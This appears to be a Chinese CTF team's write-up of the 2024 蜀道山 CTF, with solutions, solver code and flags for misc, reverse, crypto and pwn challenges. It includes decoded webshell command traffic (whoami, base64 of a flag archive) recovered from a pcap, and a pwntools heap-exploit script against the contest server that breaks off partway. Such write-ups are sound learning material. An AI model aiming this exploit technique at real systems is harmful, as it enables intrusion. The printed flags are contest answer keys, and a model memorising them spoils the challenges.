队伍名称: F14GThi3f rank:5

Misc
欢迎来到2024蜀道山CTF
按照描述关注二维码发送劳资蜀道山2024
即可
神奇的硬币纺纱机
nc之后经过一段时间尝试发现,选择投币一段时间就可以将硬币攒到100以上,之后不投币保持硬币数量即可
Elemental Wars
玩法大抵是和去年强网先锋的剪刀石头布差不多
但有个问题就是五行的生克关系比较复杂
而且血量都比较少
所以在1-5内随机瞎打就行
❯ nc gamebox.yunyansec.com 43139
_____ _ _ _ __ __
| ____| | ___ _ __ ___ ___ _ __ | |_ __ _| | \ \ / /_ _ _ __ ___
| _| | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _` | | \ \ /\ / / _` | '__/ __|
| |___| | __/ | | | | | __/ | | | || (_| | | \ V V / (_| | | \__ \
|_____|_|\___|_| |_| |_|\___|_| |_|\__\__,_|_| \_/\_/ \__,_|_| |___/
欢迎来到元素战争!
游戏即将开始...
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:10,敌人的血量:11
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:木
金克木,玩家获胜!
你的血量:10,敌人的血量:10
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:9,敌人的血量:10
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:9,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:8,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:7,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:木
平局!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:金
平局!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:金
土生金,玩家恢复生命!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:土
土生金,🤖恢复生命!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:火
平局!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:水
水克火,🤖获胜!!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:木
平局!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:金
平局!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:8,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:7,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:6,敌人的血量:9
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:6,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:5,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:5,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:水
平局!
你的血量:5,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:水
平局!
你的血量:5,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:6,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:7,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:水
金生水,玩家恢复生命!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:火
木生火,玩家恢复生命!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:水
平局!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:火
平局!
你的血量:9,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:木
金克木,玩家获胜!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:9,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:金
土生金,玩家恢复生命!
你的血量:10,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:11,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:10,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:10,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:木
木克土,🤖获胜!!
你的血量:9,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:7,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:7,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:水
水生木,🤖恢复生命!
你的血量:8,敌人的血量:8
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:8,敌人的血量:7
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:8,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:火
火生土,🤖恢复生命!
你的血量:8,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:木
平局!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):1
你的选择是: 金
敌人的选择是:火
火克金,🤖获胜!
你的血量:7,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:木
木生火,🤖恢复生命!
你的血量:7,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:金
土生金,玩家恢复生命!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:8,敌人的血量:6
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:7,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:土
平局!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:水
平局!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:金
金生水,🤖恢复生命!
你的血量:8,敌人的血量:5
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:金
火克金,玩家获胜!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:土
平局!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:火
木生火,玩家恢复生命!
你的血量:9,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:火
平局!
你的血量:8,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:木
木克土,🤖获胜!!
你的血量:7,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木3
敌人的选择是:土
木克土,玩家获胜!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:2
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:火
火生土,🤖恢复生命!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:木
水生木,玩家恢复生命!
你的血量:8,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):54
无效的选择,请重新选择。
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:6,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:火
火生土,🤖恢复生命!
你的血量:7,敌人的血量:4
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:7,敌人的血量:3
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:2
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:火
水克火,玩家获胜!
你的血量:7,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:土
火生土,玩家恢复生命!
你的血量:8,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):5
你的选择是: 土
敌人的选择是:土
平局!
你的血量:8,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:金
金克木,🤖获胜!
你的血量:7,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):3
你的选择是: 水
敌人的选择是:土
土克水,🤖获胜!!
你的血量:6,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):4
你的选择是: 火
敌人的选择是:火
平局!
你的血量:6,敌人的血量:1
请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):2
你的选择是: 木
敌人的选择是:土
木克土,玩家获胜!
你的血量:6,敌人的血量:0
你获得了胜利!敌人已被击败!
欢迎拿到flag:flag{78bb5494953b2e2b582ab49e14fa7dc4}
请输入选项(1: 继续游戏, 2: 查看规则, 3: 退出):
javaPcap
NetA梭出来一些命令执行流量

挨个解密其Base64部分
whoami
ls -alt
ls flag/
base64 flag/flag.zip
cat flag/hint.txt
WireShark再详细分析流量
可以看到有Base64的回显 但是无法解码出有意义的明文
可以在命令中看到key和加密方式的参数
但是这个key的位数明显不对

想到附件还给了个jar 找了个在线网站反编译
在一个class中找到了加密相关的代码

package server;
import java.nio.charset.StandardCharsets;
import java.security.Security;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
/* loaded from: CustomEncryptor.class */
public class CustomEncryptor {
static {
Security.addProvider(new BouncyCastleProvider());
}
public static String encryptSM4(String key, String content) {
try {
byte[] keyBytes = generateKeyBytes(key, 16);
SecretKeySpec secretKey = new SecretKeySpec(keyBytes, "SM4");
Cipher cipher = Cipher.getInstance("SM4/ECB/PKCS5Padding", "BC");
cipher.init(1, secretKey);
byte[] encryptedBytes = cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
} catch (Exception e) {
throw new RuntimeException("Encryption error: " + e.getMessage(), e);
}
}
private static byte[] generateKeyBytes(String key, int length) {
byte[] keyBytes = new byte[length];
byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(inputKeyBytes, 0, keyBytes, 0, Math.min(inputKeyBytes.length, length));
return keyBytes;
}
public static String encryptAES(String key, String content) {
return encrypt(content, key, "AES", 16);
}
public static String encryptBlowfish(String key, String content) {
return encrypt(content, key, "Blowfish", 16);
}
private static String encrypt(String content, String key, String algorithm, int keySize) {
try {
byte[] keyBytes = new byte[keySize];
byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(inputKeyBytes, 0, keyBytes, 0, Math.min(inputKeyBytes.length, keySize));
SecretKeySpec secretKey = new SecretKeySpec(keyBytes, algorithm);
Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
cipher.init(1, secretKey);
byte[] encryptedBytes = cipher.doFinal(content.getBytes(StandardCharsets.UTF_8));
return Base64.getEncoder().encodeToString(encryptedBytes);
} catch (Exception e) {
throw new RuntimeException("Encryption error: " + e.getMessage(), e);
}
}
}
可以看到其中有将key参数内容转为实际加密所用密钥的函数
private static byte[] generateKeyBytes(String key, int length) {
byte[] keyBytes = new byte[length];
byte[] inputKeyBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(inputKeyBytes, 0, keyBytes, 0, Math.min(inputKeyBytes.length, length));
return keyBytes;
}
找GPT用python重构
def generate_key_bytes(key: str, length: int) -> bytes:
# 将输入的密钥转换为 UTF-8 编码的字节
input_key_bytes = key.encode('utf-8')
# 根据指定长度创建一个字节数组,填充方式与 Java 版本相同
key_bytes = bytearray(length)
key_bytes[:len(input_key_bytes)] = input_key_bytes[:length]
return bytes(key_bytes)
key = "596d467a5a54593049475a73595763765a6d78685a793536615841"
length = 16
key_bytes = generate_key_bytes(key, length)
print(key_bytes) # 输出生成的字节数组
用流量包中的key计算密钥并解密
得到 flag.zip 和 hint.txt


:::info
flag.zip(Base64):
UEsDBBQACQAIABSGZFkAAAAAAAAAACsAAAAIACkAZmxhZy50eHRVVAkABWiKKGeQGitndXgLAAEEAAAAAAQAAAAAeGwJAAcUAwAAAADtgXBFs0Lb8F43+KxCxq77A+Zya0CyhPRERubzgNwf5fF5GVjtntPQZe8hy0s4qLAhBXW42FAs5Xhw4lBLBwiHHE6JOQAAACsAAABQSwECFAMUAAkACAAUhmRZhxxOiTkAAAArAAAACAAcAAAAAAAAAAAA7YEAAAAAZmxhZy50eHRVVAkABWiKKGeQGitndXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAAJgAAAAAAA==
:::
根据hint.txt拼出压缩包密码:
:::info
wllbcwllbcwllbc
:::
解压flag.zip得到flag

:::info
flag: LZSDS{java_also_can_chaozuoPCAPNG_LUCKFORU}
:::
Re
HelloHarmony
鸿蒙逆向
主逻辑

第一层加密在p001entry.src.main.ets.Emmm,凯撒加密,只不过位移的时候小写字母多进行了+2的操作

第二层加密在native层


密文在eeeee

#include <stdio.h>
#include <string.h>
typedef struct {
unsigned char map[256]; // 映射表
unsigned int keys[72]; // Key 数据
} WTF;
void inverse_blablabla(unsigned char *a2) {
unsigned char last = a2[39];
for (int i = 39; i > 0; --i) {
a2[i] = a2[i - 1];
}
a2[0] = last;
}
void inverse_blablablablabla(WTF *wtf, unsigned char *a2, int a3) {
*((unsigned int *)a2 + 1) ^= wtf->keys[a3 + 64];
*((unsigned int *)a2) ^= wtf->keys[a3 + 64];
}
void inverse_bla(WTF *wtf, unsigned char *a2) {
for (int i = 0; i < 40; ++i) {
for (int j = 0; j < 256; ++j) {
if (wtf->map[j] == a2[i]) {
a2[i] = j;
break;
}
}
}
}
void WTF_init(WTF *wtf, const unsigned char *key, int key_len) {
for (int i = 0; i < 256; ++i) {
wtf->map[i] = (167 * i + 173) % 256;
}
for (int i = 0; i < 8; ++i) {
wtf->keys[i + 64] = key[(i + 3) % key_len] |
(key[(i + 2) % key_len] << 8) |
(key[(i + 1) % key_len] << 16) |
(key[i % key_len] << 24);
}
}
void decrypt(WTF *wtf, const unsigned char *ciphertext, unsigned char *plaintext) {
memcpy(plaintext, ciphertext, 40);
for (int i = 7; i >= 0; --i) {
inverse_blablabla(plaintext);
inverse_bla(wtf, plaintext);
inverse_blablablablabla(wtf, plaintext, i);
}
}
int main() {
const char *key_str = "HelloSDS";
int key_len = strlen(key_str);
WTF wtf;
WTF_init(&wtf, (const unsigned char *)key_str, key_len);
unsigned char ciphertext[40] = {
0xF6, 0xB0, 0xA6, 0x36, 0x9A, 0xB3, 0x2B, 0xBF, 0x94, 0x54, 0x15, 0x97, 0x93, 0x59, 0xBF, 0x50,
0x4D, 0xBF, 0x0A, 0x59, 0x06, 0xD7, 0x97, 0x50, 0xD6, 0x59, 0x54, 0xD7, 0xCF, 0x06, 0x5D, 0x20,
0x1D, 0x5A, 0x22, 0xEE, 0x99, 0x1F, 0xE1, 0x18
};
unsigned char plaintext[40];
decrypt(&wtf, ciphertext, plaintext);
for (int i = 0; i < 40; ++i) {
printf("%c", plaintext[i]);
}
printf("\n");
return 0;
}
//QEXIX{f0b_4y3_4_t4573y_0m_jyfw706y4wof}
然后走变种凯撒的解密,小写字母多-2就行了
public class test {
private final int shift;
public test(int shift) {
this.shift = shift % 26;
}
public String decrypt(String input) {
return transform(input, -this.shift, false);
}
private String transform(String text, int shift, boolean isEncrypt) {
StringBuilder result = new StringBuilder();
for (char ch : text.toCharArray()) {
if (Character.isUpperCase(ch)) {
result.append(shiftChar(ch, shift, 'A'));
} else if (Character.isLowerCase(ch)) {
int adjustedShift = isEncrypt ? shift + 2 : shift - 2;
result.append(shiftChar(ch, adjustedShift, 'a'));
} else {
result.append(ch);
}
}
return result.toString();
}
private char shiftChar(char ch, int shift, char base) {
return (char) (((ch - base + shift + 26) % 26) + base);
}
public static void main(String[] args) {
test caesar = new test(5);
String decrypted = caesar.decrypt("QEXIX{f0b_4y3_4_t4573y_0m_jyfw706y4wof}");
System.out.println(decrypted);
}
}
//LZSDS{y0u_4r3_4_m4573r_0f_cryp706r4phy}
Super Panda Girl
Unity游戏逆向
直接把super panda girl\Super Panda Girl_Data\Managed\Assembly-CSharp.dll拖dnspy

然后就进dnspy去定位,结果没搜到。看一下附近内存
flag头上面有个Gameover,然后去dnspy搜一下

上面就是验证逻辑

进 ssSSs5s5s5
魔改rc4,密文和密钥都直接给了

import java.nio.charset.StandardCharsets;
public class Decryptor {
private static final String S5SSS5S5 = "LZSDS";
public static void main(String[] args) {
byte[] encryptedBytes = new byte[]{
57, (byte) 244, 117, (byte) 200, (byte) 213, 87, (byte) 194, (byte) 195, (byte) 164, 100, 103, 63, 19, 79,
(byte) 137, 70, (byte) 201, 24, (byte) 163, (byte) 129, (byte) 237, (byte) 210, 5, 19, 35, 21
};
String decryptedText = decrypt(encryptedBytes, S5SSS5S5);
System.out.println(decryptedText);
}
public static String decrypt(byte[] encryptedBytes, String key) {
int keyLength = key.length();
int dataLength = encryptedBytes.length;
byte[] keyBytes = key.getBytes(StandardCharsets.UTF_8);
byte[] array = new byte[256];
for (int i = 0; i < 256; i++) {
array[i] = (byte) i;
}
int num = 0;
for (int j = 0; j < 256; j++) {
num = (num + (array[j] & 0xFF) + (keyBytes[j % keyLength] & 0xFF)) % 256;
byte temp = array[j];
array[j] = array[num];
array[num] = temp;
}
int num2 = 0;
int num3 = 0;
byte[] decryptedBytes = new byte[dataLength];
for (int k = 0; k < dataLength; k++) {
num2 = (num2 + 1) % 256;
num3 = (num3 + (array[num2] & 0xFF)) % 256;
byte temp = array[num2];
array[num2] = array[num3];
array[num3] = temp;
byte b3 = (byte) ((array[num2] + array[num3]) % 256);
decryptedBytes[k] = (byte) (encryptedBytes[k] ^ b3);
}
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
}
//put_this_in_the_true_brand
然后在外面还有一个取text的偶数位拼起来取base64
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class Flag {
public static void main(String[] args) {
String text = "put_this_in_the_true_brand";
String evenCharacters = getEvenCharacters(text);
String encoded = base64Encode(evenCharacters);
String flag = "LZSDS{" + encoded + "}";
System.out.println(flag);
}
private static String getEvenCharacters(String input) {
StringBuilder stringBuilder = new StringBuilder();
for (int i = 0; i < input.length(); i += 2) {
stringBuilder.append(input.charAt(i));
}
return stringBuilder.toString();
}
private static String base64Encode(String text) {
return Base64.getEncoder().encodeToString(text.getBytes(StandardCharsets.UTF_8));
}
}
//LZSDS{cHR0aV9udGV0dV9ybg==}
Map_maze
迷宫题

U D L R分别对应上下左右
断到如下图位置

然后进v5,把地图dump下来

import idc
import idaapi
import idautils
def dereference_pointer_and_get_value(address):
pointer_value = idc.get_wide_dword(address)
if not idc.is_loaded(pointer_value):
return None
return idc.get_wide_dword(pointer_value)
def dump_array_with_dereference(start_address, rows, cols, output_file):
result = []
current_address = start_address
for row in range(rows):
line = []
for col in range(cols):
dereferenced_value = dereference_pointer_and_get_value(current_address)
if dereferenced_value is None:
line.append("Invalid")
else:
line.append(hex(dereferenced_value))
current_address += 4
result.append(line)
with open(output_file, "w") as f:
for line in result:
f.write(" ".join(line) + "\n")
print(f"Dumped {output_file}")
start_address = 0x005FFA30
rows = 15
cols = 15
output_file = "array_dump.txt"
dump_array_with_dereference(start_address, rows, cols, output_file)
走0到右下角

试了好几种路径才交上
DRRDDDDDDDRRRRDDRRRDRRRDDDRR
LZSDS{1979869e0c4ef6c542e54ae5c48f63ec}
Potato Toolkit
随便输入下

ida搜报错字符串能跟到这个函数

1wesa234
qwe123998244353
试着分别输入到http语言指令和炸洋芋参数里面
有进度条了,只不过拉满之后直接闪退了
动调断在exit(0) 这个位置

然后进v18

0x8的位置按d,指针转出来可以直接看见flag

Crypto
xorsa
恢复p,q很简单,试了一下e与phi不互素,拿板子打
from Crypto.Util.number import *
c = 13760578729891127041098229431259961120216468948795732373975536417751222443069805775693845560005881981622202089883866395577154701229046245882282127054969114210307175116574178428823043817041956207503299220721042136515863979655578210499512044917781566303947681251248645504273995402630701480590505840473412765662
n = 14247038211821385209759067256846232227444163173099199085257790370590450749665206556163364754269182255358084948354345827898987234756662133974633117062902370811855466665351784027125333112663075085395676501121759786699720149098576433141817737564928779420725539793335830274229206316999461309927000523188222801659
hint1 = 8938538619961731399716016665470564084986243880394928918482374295814509353382364651201249532111268951793354572124324033902502588541297713297622432670722730
hint2 = 1493298155243474837320092849325750387759519643879388609208314494000605554020636706320849032906759121914762492378489852575583260177546578935320977613050647
e = 2026
q = hint2
p = hint1^q
e = e //2
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
from gmpy2 import *
m = gmpy2.iroot(m,2)[0]
print(long_to_bytes(m))
PWN
small stmashing
exp:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '80'])
# p = process('./pwn')
p = remote('gamebox.yunyansec.com', 57785)
libc = ELF('./libc-2.31.so')
def add(size):
p.recvuntil('Your choice:')
p.send(b'1'.ljust(0x10, b'\x00'))
p.recvuntil('size:\n')
p.send(bytes(str(size), 'utf-8').ljust(0x10, b'\x00'))
p.recvuntil('Add Ptr: ')
def delete(index):
p.recvuntil('Your choice:')
p.send(b'2'.ljust(0x10, b'\x00'))
p.recvuntil('Idx:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def edit(index, content):
p.recvuntil('Your choice:')
p.send(b'3'.ljust(0x10, b'\x00'))
p.recvuntil('Idx:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
p.recvuntil('Content:\n')
p.send(content)
def show(index):
p.recvuntil('Your choice:')
p.send(b'4'.ljust(0x10, b'\x00'))
p.recvuntil('Idx:\n')
p.send(bytes(str(index), 'utf-8').ljust(0x10, b'\x00'))
def magic():
p.recvuntil('Your choice:')
p.send(b'5'.ljust(0x10, b'\x00'))
byte = 0x4040C0
chunk_addr = 0
for i in range(3): # index [0-2]
add(0xC0)
for i in range(3):
delete(i)
for i in range(7): # index [3-9]
add(0x200)
for i in range(7):
delete(i + 3)
for i in range(7): # index [9-16]
add(0x130)
for i in range(7):
delete(i + 3 + 7)
byte = 0x4040C0 - 0x10
add(0x200) # index 16
heap_base = int(p.recvline(), 16) - 0x2e20
add(0x200) # index 17 U
add(0x200) # index 18
heap_tmp = int(p.recvline(), 16)
flag_addr = heap_tmp + 0x8 * 4
add(0x200) # index 19 U
add(0x200) # index 20
delete(17)
show(17)
